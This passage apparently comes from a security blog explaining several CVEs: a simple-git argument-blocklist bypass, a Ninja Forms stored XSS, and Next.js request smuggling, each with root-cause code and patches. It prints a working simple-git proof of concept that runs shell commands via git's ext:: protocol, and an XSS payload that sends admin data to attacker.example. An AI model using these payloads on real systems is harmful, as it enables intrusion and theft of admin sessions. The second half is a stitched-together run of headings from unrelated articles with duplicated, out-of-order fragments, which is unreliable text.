2. The Root Cause: Understanding CVE-2022-25912 First

To understand this vulnerability properly, you first need to know what was patched in 2022.

Git has a special remote-repository protocol called ext::. It's meant to let git reach a remote repository through an external helper program — but the catch is that the "helper program" slot can hold arbitrary shell commands.

# ext:: protocol example — everything after the colon is executed as-is
git clone "ext::sh -c touch% /tmp/pwned% >&2" /tmp/dest

This is disabled by default and only works once the protocol.ext.allow=always config value is turned on — a value that can be injected at the command line with -c or --config.

git clone -c protocol.ext.allow=always "ext::sh -c '...'" /tmp/dest

So the attack needs two conditions at once:

The ability to inject protocol.ext.allow=always
The ability to inject a malicious clone URL starting with ext::

simple-git passes the options (or customArgs) array that callers provide to clone(), fetch(), etc. almost verbatim to the git binary. If an application mixes untrusted input (user input, external API responses) into that array, an attacker can satisfy both conditions above.

The 2022 patch addressed condition 1 by detecting and blocking arguments like -c protocol...allow=... with a blocklist regex.

3. The 2022 Patch's Structure — and Its Limit

The patch lives in simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts, with preventProtocolOverride as the core function. Simplified:

// block-unsafe-operations-plugin.ts (2022 patch, conceptually reconstructed)
function preventProtocolOverride(args: string[]) {
  for (let i = 0; i < args.length; i++) {
    // ① look for the exact token "-c"
    if (args[i] === '-c') {
      const next = args[i + 1]; // e.g. "protocol.ext.allow=always"

      // ② check whether the next argument matches protocol.*.allow
      if (/^\s*protocol(\.[a-z]+)?\.allow/.test(next)) {
        throw new GitPluginError(
          'Configuring protocol.allow is not permitted without enabling allowUnsafeExtProtocol'
        );
      }
    }
  }
}

Walking through it line by line:

① args[i] === '-c': the function walks the argument array looking only for the exact string -c (the short-form flag). It's a plain string comparison, so any other spelling of "pass a config value" is invisible to it.
② the regex check: if the value right after -c matches protocol.allow, protocol.ext.allow, etc., it throws and aborts execution.

This logic rests on a false assumption: that -c is the only way to pass a config value to git. In reality, git's CLI offers two interchangeable spellings for the same feature:

Flag	Meaning	Detected?
`-c key=value`	short form	✅ caught
`--config key=value`	long form, functionally identical to `-c`	❌ not caught

Per git's own documentation, -c and --config are true synonyms and go through the exact same parsing path inside the git binary. But because simple-git's blocklist did an exact-string match against '-c', using --config instead simply never triggers the check at all.

This is a textbook case of the structural weakness of blocklist-based argument validation. A complete denylist would have to enumerate every spelling that can mean the same thing — and CLI tools routinely offer several spellings for one feature (short/long forms, case variants, =-joined forms, and so on), which makes this approach fragile by design. The sibling vulnerability CVE-2026-28292 (bypassing the same regex with uppercase PROTOCOL.ALLOW=always, since the original pattern was case-sensitive) comes from the exact same root cause in the same plugin.

4. Attack Flow

The key moment is step 2. The attacker isn't using some sophisticated technique — the entire vulnerability boils down to changing how a flag is spelled being enough to defeat a security fix that shipped four years earlier.

5. A Working PoC

Publicly available proof-of-concept code looks roughly like this (reconstructed to show the core logic, without external references):

const simpleGit = require('simple-git');
const myGit = simpleGit();

myGit.clone(
  'ext::sh -c touch% /tmp/pwned% >&2',   // ① malicious clone URL
  '/tmp/example-new-repo',               // ② clone destination directory
  ['--config', 'protocol.ext.allow=always'] // ③ the bypass option
);

Breaking it down:

① The first argument to clone() is normally where a real repository URL goes. Passing ext::sh -c touch% /tmp/pwned% >&2 tells git: "clone via the ext protocol, and run sh -c touch /tmp/pwned as the helper command." (% is how git encodes spaces inside this kind of URL.)
② The second argument is just the normal clone destination path — irrelevant to the attack itself.
③ The third argument is the crux. --config and protocol.ext.allow=always are passed as two separate array elements. This has the exact same effect as -c protocol.ext.allow=always from git's perspective — but simple-git's blocklist only looks for the literal string '-c', so the '--config' token sails right past it.

Under the hood, simple-git ends up executing exactly this:

git clone --config protocol.ext.allow=always "ext::sh -c touch% /tmp/pwned% >&2" /tmp/example-new-repo

Once this command runs, the ext:: helper process executes before git reports a clone failure (since the "repository" doesn't actually exist), creating /tmp/pwned. In other words, even if the final clone fails, the command execution has already succeeded — an application that catches the clone failure gracefully has no indication that it was already compromised.

Mapped onto a realistic application scenario, the danger becomes clearer:

// The application's intended, safe-looking call
simpleGit().clone(
  'https://github.com/my-org/my-repo',
  '/tmp/workdir',
  userSuppliedOptions // an options array under user control
);

// But if an attacker can inject these two values into userSuppliedOptions...
userSuppliedOptions = ['--config', 'protocol.ext.allow=always'];
// ...and also control the clone URL itself, it's a direct path to RCE

6. Patch Analysis (simple-git 3.36.0)

The fix isn't just "add --config to the blocklist" — it's a meaningfully larger architectural change, touching 29 files and 1,000+ lines under the commit name "Environment Parsing."

6-1. Expanded config-key blocklist

The old detect-config-writes.ts blocked only six keys: protocol.allow, core.sshCommand, core.fsmonitor, core.gitProxy, core.hooksPath, diff.external. The new detect-vulnerable-config-writes.ts introduces a preventExpandedConfigBuilder helper with an expanded regex that also catches scoped variants like credential.https://example.com.helper, and adds blocking for:

alias.* — registering arbitrary commands as git aliases
core.askPass, core.editor, core.pager — binary substitution
credential.helper — credential interception
diff.textconv, filter.clean, filter.smudge — content-filter chains that can intercept file contents
the gpg.program family — signing-binary substitution
merge.driver, mergetool.cmd — code execution at merge time
sequence.editor — binary substitution during rebase

6-2. Expanded flag detection

The old detect-upload-pack.ts, which only caught --upload-pack/--receive-pack-style flags, is replaced by detect-vulnerable-flags.ts, which now also blocks --template (hook-planting via a custom template directory).

6-3. Environment variable scanning — an entirely new line of defense

This is the most important change in the patch. Git accepts the same kind of config injection not just via -c/--config on the command line, but also via environment variables like GIT_CONFIG_COUNT, GIT_CONFIG_KEY_n, and GIT_CONFIG_VALUE_n. That means filtering command-line arguments alone could never be a complete fix. The new parseEnv() function maps dangerous environment variables (GIT_ASKPASS, GIT_SSH_COMMAND, GIT_CONFIG_COUNT, GIT_EXTERNAL_DIFF, GIT_PROXY_COMMAND, and more), and when GIT_CONFIG_COUNT is set, extracts the corresponding GIT_CONFIG_KEY_n/VALUE_n pairs and runs them through the same blocklist check.

// Before the patch: only arguments are checked
action(args) {
  const parsed = parseArgv(...args);
  for (const v of parsed.vulnerabilities.vulnerabilities) { /* throw */ }
}

// After the patch: arguments AND environment variables are checked
action(args, { env }) {
  for (const v of vulnerabilityCheck(args, env)) { /* throw */ }
}

In plain terms: the gatekeeper used to only look at "what came in on the command line." Now it also checks "what's been smuggled in through environment variables to achieve the same config injection." Even if an attacker's command-line arguments slip past validation, the same attack attempted through environment variables now gets caught by vulnerabilityCheck().

6-4. A more granular opt-in model

The patch introduces per-category opt-in flags — allowUnsafeAlias, allowUnsafeCredentialHelper, allowUnsafeTemplateDir, and more — so developers who genuinely need one of these features can explicitly enable it for trusted input only. VulnerabilityCategoryFlags, which previously had 7 entries, now has more than 20.

7. Why This Keeps Happening — The Structural Cause

This is the third related vulnerability in simple-git:

CVE-2022-25912: the original RCE via the -c flag
CVE-2026-28292: bypassing the case-sensitive regex with uppercase PROTOCOL.ALLOW=always
CVE-2026-6951: bypassing the blocklist entirely via the --config synonym

All three share the same root cause. A blocklist that matches one exact dangerous pattern will always be bypassable the moment a different spelling with the same meaning exists — short vs. long form, case variants, environment-variable paths, and so on. The fact that the 3.36.0 patch widens the defense to cover environment variables as well as command-line arguments is effectively an admission that single-point blocklists have a hard ceiling, and a move toward defense in depth instead.

8. Remediation

Action	Details
Upgrade	`npm install simple-git@latest` (3.36.0 or later)
Watch for partial upgrades	Mismatched sub-package versions (e.g. `@simple-git/argv-parser`) can cause `TypeError`s in CI — regenerating `yarn.lock`/`package-lock.json` entirely is recommended
Validate input	Never pass untrusted input directly into `options`/`customArgs` — map it through an allowlist of accepted values instead
Least privilege	Run the process that invokes simple-git under a sandboxed or restricted-privilege account

CVE-2026-94504 Analysis: Ninja Forms Stored XSS – Bypassing the Admin Screen with a Single `` Line

GUIDANCE WHITE — Tue, 06 Oct 2026 00:47:14 +0000

At a glance

Item	Detail
CVE	CVE-2026-94504
Target	WordPress plugin Ninja Forms (kstover) ≤ 3.15.3
CWE	CWE-79 (Improper Neutralization of Input During Web Page Generation)
CVSS 3.1	7.2 (High) — `AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N`
Auth required	Attacker: none (unauthenticated) / Trigger: admin must view the submission
Patched in	3.15.4
Credit	Hippolyte Quéré (Hippie)

Ninja Forms treats textarea fields in two flavors: fields with the rich text editor (RTE) enabled, and plain "non-RTE" textareas. When a non-RTE field's value is rendered in the legacy submission editor screen, the plugin skips esc_textarea() entirely and then runs the value through html_entity_decode() before echoing it. The practical result: an unauthenticated visitor can submit a public form with a </textarea><script>...</script> style payload, and the moment an admin opens that submission in wp-admin, the payload executes in the admin's session context.

Where the bug actually lives

The bug is the result of three pieces interacting badly.

1) `includes/Fields/Textarea.php` — the escaping branch is missing

// includes/Fields/Textarea.php (3.15.3, reconstructed)
class NF_Fields_Textarea extends NF_Abstracts_Field
{
    protected $_type = 'textarea';

    // How the value gets rendered in admin screens depends on whether RTE is on.
    public function format_value_for_admin_table( $value )
    {
        if ( ! $this->get_setting( 'rte' ) ) {
            // ❌ No esc_textarea() / esc_html() call here.
            // The raw submitted string is returned as-is.
            return $value;
        }

        return wp_kses_post( $value ); // RTE fields at least go through wp_kses_post
    }
}

A correct implementation would still escape the non-RTE branch — return esc_textarea( $value ); — but the plugin assumes "it's plain text, so there's nothing to escape," and that assumption is wrong the moment the value is later echoed inside an HTML attribute or tag.

2) `includes/Database/Models/Submission.php` — undoing the escaping

// includes/Database/Models/Submission.php (3.15.3, reconstructed, ~L205)
class NF_Database_Models_Submission extends NF_Abstracts_Model
{
    public function get_field_value_for_editor( $field_id )
    {
        $value = $this->get_field_value( $field_id ); // raw stored submission value

        // ⚠️ Decoded again for legacy editor compatibility —
        // e.g. an '&lt;' that was stored encoded gets turned back into '<'.
        $value = html_entity_decode( $value, ENT_QUOTES, 'UTF-8' );

        return $value;
    }
}

This html_entity_decode() call is the crux of it. Even if WordPress's sanitization earlier in the pipeline encoded some characters, this function reverses that right before the value is rendered in the editor — defeating whatever protection existed at storage time.

3) The template — decoded value dropped straight into `<textarea>`

// legacy submission editor template (reconstructed)
<textarea class="widefat" rows="6" disabled>
    <?php echo $submission->get_field_value_for_editor( $field_id ); // ❌ no escaping on output ?>
</textarea>

If esc_textarea() had been applied anywhere in this chain, a </textarea> in the payload would have been rendered as </textarea> — inert text. Instead, step 1 skips escaping, step 2 decodes any remaining entities, and step 3 echoes the result directly, so an attacker-supplied </textarea> actually closes the tag early and whatever follows it is parsed as live HTML.

Attack flow

Unauthenticated payload submission. An attacker submits something like the following into a public form's non-RTE field (e.g. the "Message" field on a default "Contact Me" form):

   </textarea><img src=x onerror="fetch('/wp-json/wp/v2/users/me',{headers:{'X-WP-Nonce':wpApiSettings.nonce}}).then(r=>r.json()).then(d=>fetch('https://attacker.example/c?u='+d.slug))">

This goes through wp-admin/admin-ajax.php's nf_ajax_submit action, which only needs the public page's AJAX nonce — no login required.

Storage. Ninja Forms writes this value into the submissions table unchanged.
Trigger (requires admin action). When an admin opens that submission under wp-admin → Submissions, the code path above runs: html_entity_decode() followed by an unescaped echo. The </textarea> closes the tag for real, and the trailing <img onerror=...> executes in the admin's browser, with the admin's session cookies and REST nonce.
Impact. The executed script can call REST endpoints (/wp/v2/users, plugin installation endpoints, etc.) with admin privileges — enough to change the admin password, create a backdoor admin account, or upload a malicious plugin.

This isn't a true zero-click chain since it requires an admin to open the specific submission, but Ninja Forms admins routinely review new submissions, so the real-world trigger window is small.

Diagram description

For the attack-flow diagram embedded in this post, the layout follows four numbered stages, styled consistently with the Korean version: white cards with a thin colored left-accent bar, dark navy circular number badges, curved gray connectors with small labels, no pastel fills.

Node 1 (red accent bar): "Attacker — unauthenticated." Public form, non-RTE textarea, submits the </textarea><img onerror=...> payload. Arrow labeled "POST (unauthenticated)" points to admin-ajax.php?action=nf_ajax_submit.
Node 2 (neutral gray accent bar): "Stored in DB." Value lands in the submissions table unchanged; small side note flags "esc_textarea() missing" in Textarea.php.
Node 3 (orange accent bar): "Admin opens Submissions." Browser-window icon; small code badge calls out html_entity_decode() followed by an unescaped echo in Submission.php.
Node 4 (dark red accent bar): "Script executes in admin context." Key icon plus an arrow pointing to an external server, representing cookie/nonce theft or a malicious REST call.
Connectors 1→2→3→4 are curved, each labeled respectively "POST (unauthenticated)", "stored", "view triggers it", "executes."
A green-accented footer box summarizes the fix: version 3.15.4 adds esc_textarea(), which cuts the chain between step 3 and step 4.

The fix in 3.15.4

Per the public changelog, the fix adds escaping at the output point:

// 3.15.4+ (reconstructed)
<textarea class="widefat" rows="6" disabled>
    <?php echo esc_textarea( $submission->get_field_value_for_editor( $field_id ) ); ?>
</textarea>

esc_textarea() re-encodes <, >, &, etc., so even though html_entity_decode() still runs upstream, the final output step neutralizes anything dangerous. The real lesson here isn't about input filtering — it's a textbook case for contextual output encoding: escape at the point of output, not just at the point of input.

Checklist

Confirm the Ninja Forms version via wp-content/plugins/ninja-forms/readme.txt → Stable tag; anything ≤ 3.15.3 is affected.
Check whether any public-facing form has a non-RTE textarea field.
Update to 3.15.4 or later — this is the only reliable fix. Until then, consider taking the affected form offline or adding a WAF rule to block submissions containing a </textarea> sequence.

CVE-2026-29057 — HTTP Request Smuggling via Next.js Rewrites

GUIDANCE WHITE — Mon, 05 Oct 2026 01:28:59 +0000

Overview

Item	Detail
CVE ID	CVE-2026-29057
Affected	Next.js (self-hosted deployments using `rewrites()` to proxy to an external backend)
Vulnerable versions	`>= 9.5.0, < 15.5.13` and `>= 16.0.0-beta.0, < 16.1.7`
Patched versions	`15.5.13`, `16.1.7`
CVSS 4.0	6.3 (Moderate)
CWE	CWE-444 (Inconsistent Interpretation of HTTP Requests — Request Smuggling)
Root cause	A logic bug in `deleteLength()`, part of the `http-proxy` library bundled inside Next.js

Next.js lets you proxy specific paths to an external backend via rewrites() in next.config.js. Under the hood, this relies on a vendored copy of the http-proxy library. When forwarding DELETE/OPTIONS requests, that library had a bug that made the forwarded request's headers disagree with its actual body. The result: an attacker can hide a second HTTP request inside the body of a seemingly normal request, and have it land on an unintended backend route (internal APIs, admin endpoints, etc.).

1. The Full Attack Flow

The core issue is a mismatch between "the body length the header claims" and "the number of bytes actually sent."

The attacker sends a DELETE /rewrites/poc request with Transfer-Encoding: chunked, hiding an entire second request — GET /secret HTTP/1.1... — as plain text inside the chunked body.
Next.js correctly understands Transfer-Encoding and decodes the body, then passes the request through an internal function called deleteLength() before forwarding it to the backend.
Due to a bug, that function attaches Content-Length: 0 and deletes the Transfer-Encoding header — but the body bytes are still streamed through via pipe().
An intermediate proxy or load balancer sees Content-Length: 0 and assumes the request ends there, parsing the remaining bytes as a brand-new, independent request.
The backend ends up receiving two requests: DELETE /rewrites/poc and GET /secret.

2. Byte-Level Comparison — Vulnerable vs. Patched

Comparing the actual bytes sent on the wire for the same input makes the problem unmistakable.

The vulnerable version writes content-length: 0 in the header, then appends the raw text GET /secret ... right after it. From the next hop's perspective, this can only look like "one zero-length request, followed by a separate request that happened to arrive right after."

The patched version keeps Transfer-Encoding: chunked intact. Chunked encoding marks its own body boundary using chunk-size prefixes (like 2E in hex) and a terminating 0 chunk, so the string GET /secret ... is correctly treated as body data and never gets split into a separate request.

3. Source Code Analysis — The `deleteLength()` Bug

The real root cause sits in one function inside http-proxy@1.18.1, which Next.js bundles: lib/http-proxy/passes/web-incoming.js.

Before the patch

deleteLength: function deleteLength(req, res, options) {
  if ((req.method === 'DELETE' || req.method === 'OPTIONS')
      && !req.headers['content-length']) {
    req.headers['content-length'] = '0';
    delete req.headers['transfer-encoding'];
  }
},

After the patch

deleteLength: function deleteLength(req, res, options) {
  if ((req.method === 'DELETE' || req.method === 'OPTIONS')
      && typeof req.headers['content-length'] === 'undefined'
      && typeof req.headers['transfer-encoding'] === 'undefined') {
    req.headers['content-length'] = '0';
  }
},

In plain terms:

This function exists because DELETE and OPTIONS requests typically have no body, so it tries to explicitly mark that with Content-Length: 0.
Before the patch: the only condition checked is !req.headers['content-length'] — "if there's no Content-Length header." But a Transfer-Encoding: chunked request is supposed to have no Content-Length header; that's normal. So this condition evaluates to true for chunked requests too, forcibly setting Content-Length: 0 and then deleting the Transfer-Encoding header. The problem is that only the header gets removed — the chunked body data has already entered the stream and is forwarded regardless. The result is a contradiction: the header says "no body," while a body is sent anyway.
After the patch: the condition now requires that both Content-Length and Transfer-Encoding be absent (typeof ... === 'undefined' && typeof ... === 'undefined'). If Transfer-Encoding: chunked is present, this condition is false, so the function does nothing and leaves the headers untouched. Node.js then re-encodes and sends the request with chunked framing intact, keeping the body boundary unambiguous.

Here's the side-by-side flow:

One-line summary: "Content-Length is absent" and "there is no body" are not the same thing — the pre-patch code conflated them. Any request using Transfer-Encoding to express its body length will naturally have no Content-Length header.

4. Additional Hardening — Connection Header Handling (`common.js`)

The fix didn't stop at web-incoming.js. The same commit also hardens setupOutgoing() in lib/http-proxy/common.js, closing off a connection-reuse bypass.

// Added logic
var hasTransferEncodingHeader = Object.keys(outgoing.headers).some(function (header) {
  return header.toLowerCase() === 'transfer-encoding'
    && typeof outgoing.headers[header] !== 'undefined';
});

if (hasTransferEncodingHeader
    || (typeof outgoing.headers.connection === 'string'
        && hopByHopTransferEncodingHeader.test(outgoing.headers.connection))
   ) { outgoing.headers.connection = 'close'; }

Why was this needed? Even with deleteLength() fixed, if the forwarded connection stays alive via keep-alive, a different flavor of desync could still occur on that same connection. So the patch forces connection: close whenever the request carries a Transfer-Encoding header, or whenever the Connection header itself names transfer-encoding as a hop-by-hop token.

The old code only kept the connection alive as an exception when the Connection header contained an upgrade token (to support WebSockets) — and that exception appears to have been exploitable via something like Connection: Transfer-Encoding, upgrade. The patch reorders the checks so the Transfer-Encoding check runs first, forcing the connection closed regardless of any upgrade token.

The official patch ships with 5 regression tests covering these cases, each verifying that GET /secret never reaches the backend.

5. What the PoC Actually Shows

Public PoCs (learnerxuan/CVE-2026-29057-POC, Nayekah/Next.js-Proof-of-Concept) spin up the vulnerable version (15.5.12) and the patched version (15.5.13) side by side in Docker Compose, using identical topology, and fire the exact same raw chunked payload directly over a socket at both.

Vulnerable version output:

[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"],"flag":"FLAG{...}"}
PoC result: vulnerable behavior reproduced.

Patched version output:

[after] {"backendRequests":["DELETE /rewrites/poc"],"flag":null}
PoC result: smuggled request was not observed.

Same topology, same payload — only the Next.js version differs, yet the number of requests the backend receives changes. That's about as clear-cut a demonstration as you'll get.

6. Scope and Conditions

Not affected: Hosting environments where rewrites are handled at the CDN/edge layer (e.g., Vercel) are not affected. This issue targets self-hosted deployments where rewrites() proxies from the Node.js runtime itself to an external backend.
Attack requirements: No authentication or user interaction is needed — just network access (CVSS PR:N, UI:N). That said, the attacker needs to know a configured rewrite path, and real impact depends on a downstream component (proxy, backend) that parses requests differently (AT:P, Attack Requirements: Present).
Interim mitigation: If upgrading isn't immediately possible, block chunked-encoded DELETE/OPTIONS requests to rewrite-proxied paths at the edge/proxy layer, or enforce independent authentication/authorization on the backend routes themselves.

DEV Community: GUIDANCE WHITE

CVE-2026-15748 Explained: How One Pipe Character Broke an "Exact Match" Blocklist

Overview

Where the flaw lives — who decides an upload field's "allowed types"

Step-by-step source analysis

Step 1 — the public submission handler trusts field config straight from the request

Step 2 — the last line of defense left: the dangerous-extension blocklist

Step 3 — combine both flaws: a PHP file with attacker-chosen name and content lands on disk

Step 4 — the default directory has .htaccess protection; Custom Upload Storage doesn't

The patch — let the server own the config, and normalize before comparing

Remediation

CVE-2026-88008 Explained: One "101 Switching Protocols" Erases Every Middleware Traefik Has

Overview

Where the flaw lives — four points the Upgrade header passes through

Step-by-step source analysis

Step 1 — there's no allowlist on the Upgrade header

Step 2 — WebSocket handling is "special treatment," not an allowlist

Step 3 — smart_roundtripper forwards the upgrade request to the backend over HTTP/1

Step 4 — a 101 Switching Protocols response erases the routing/middleware layer entirely (the root cause)

What the published PoC actually demonstrated

Why this is different from operator-configured h2c support

The patch — stop forwarding the Upgrade token unchecked

Remediation

CVE-2026-1357 Explained: The Cost of Never Checking Whether Decryption Failed

Overview

Where the flaw lives — the cross-site backup transfer protocol

Step-by-step source analysis

Step 1 — the RSA decryption result is used without being checked

Step 2 — phpseclib casts false into a "null-byte key" (the root cause)

Step 3 — the file path inside the (apparently) decrypted JSON is used with no validation

Step 4 — path traversal lands the file in the public upload directory

The patch — treat failure as failure, and validate the path

Remediation

CVE-2026-94545 Explained: What Happens When an OG-Image Generator Forgets to Escape

Overview

Where the flaw lives — from JSX to PNG

Step-by-step source analysis

Step 1 — Satori interpolates attribute values and text into a template literal, unescaped

Step 2 — a " and > in the value break the attribute boundary and spawn a new tag

Step 3 — the finished SVG reaches the native parsers through sharp

The patch — escape values, validate names

Remediation

CVE-2026-40281 Explained: A Patch That Guarded "=" on One Side Only

Overview

Where the flaw lives — the metadata write pipeline

Step-by-step source analysis

Step 1 — the v8.30.1 patch validates the key, and only the key

Step 2 — the value sails straight through to ExifTool, unchecked

Step 3 — a newline in the value splits one stdin line into two (the root cause)

Step 4 — direct filesystem manipulation inside the container, as root

The patch — apply the same validation to values

Remediation

CVE-2026-49869 Explained: How One String Comparison Hands Root to an Unauthenticated Attacker

Overview

Where the flaw lives — AuthenticationFilter

Step-by-step source analysis

Step 1 — "does it end in this string?" instead of "is this the exact path?"

Step 2 — create a flow carrying a shell command, unauthenticated

Step 3 — run that flow, unauthenticated

Step 4 — the worker executes the plugin as root, completing the RCE

Step 5 — retrieve the output from the logs, unauthenticated

A secondary surface — SSRF via the Pebble template engine

The patch — exact path matching instead of a suffix check

Remediation

CVE-2026-93485 Explained: How One WordPress Comment Can Hand Over the Server

Overview

Where the flaw lives — the comment rendering pipeline

Step-by-step source analysis

Step 1 — KSES doesn't block a newline inside cite

Step 2 — wpautop() swaps the newline for an HTML comment

Step 3 — [^>]* stops at the wrong > (the root cause)

Step 4 — wptexturize() mistakes the stray <p> for a tag boundary

Step 5 — Final render: the event handler goes live

Routes that skip comment approval entirely

From XSS to RCE — after an admin's session is involved

The patch — making the regex quote-aware

Remediation

CVE-2026-89274: When a Comment Meets do_shortcode() in WP Recipe Maker

TL;DR

Background you need

Step 4 — the default directory has `.htaccess` protection; Custom Upload Storage doesn't

Step 1 — there's no allowlist on the `Upgrade` header

Step 3 — `smart_roundtripper` forwards the upgrade request to the backend over HTTP/1

Step 4 — a `101 Switching Protocols` response erases the routing/middleware layer entirely (the root cause)

Step 2 — phpseclib casts `false` into a "null-byte key" (the root cause)

Step 2 — a `"` and `>` in the value break the attribute boundary and spawn a new tag

Step 1 — KSES doesn't block a newline inside `cite`

Step 2 — `wpautop()` swaps the newline for an HTML comment

Step 3 — `[^>]*` stops at the wrong `>` (the root cause)

Step 4 — `wptexturize()` mistakes the stray `<p>` for a tag boundary

Why `reviewBody` is the way in

1) `includes/Fields/Textarea.php` — the escaping branch is missing

2) `includes/Database/Models/Submission.php` — undoing the escaping

3) The template — decoded value dropped straight into `<textarea>`

3. Source Code Analysis — The `deleteLength()` Bug

4. Additional Hardening — Connection Header Handling (`common.js`)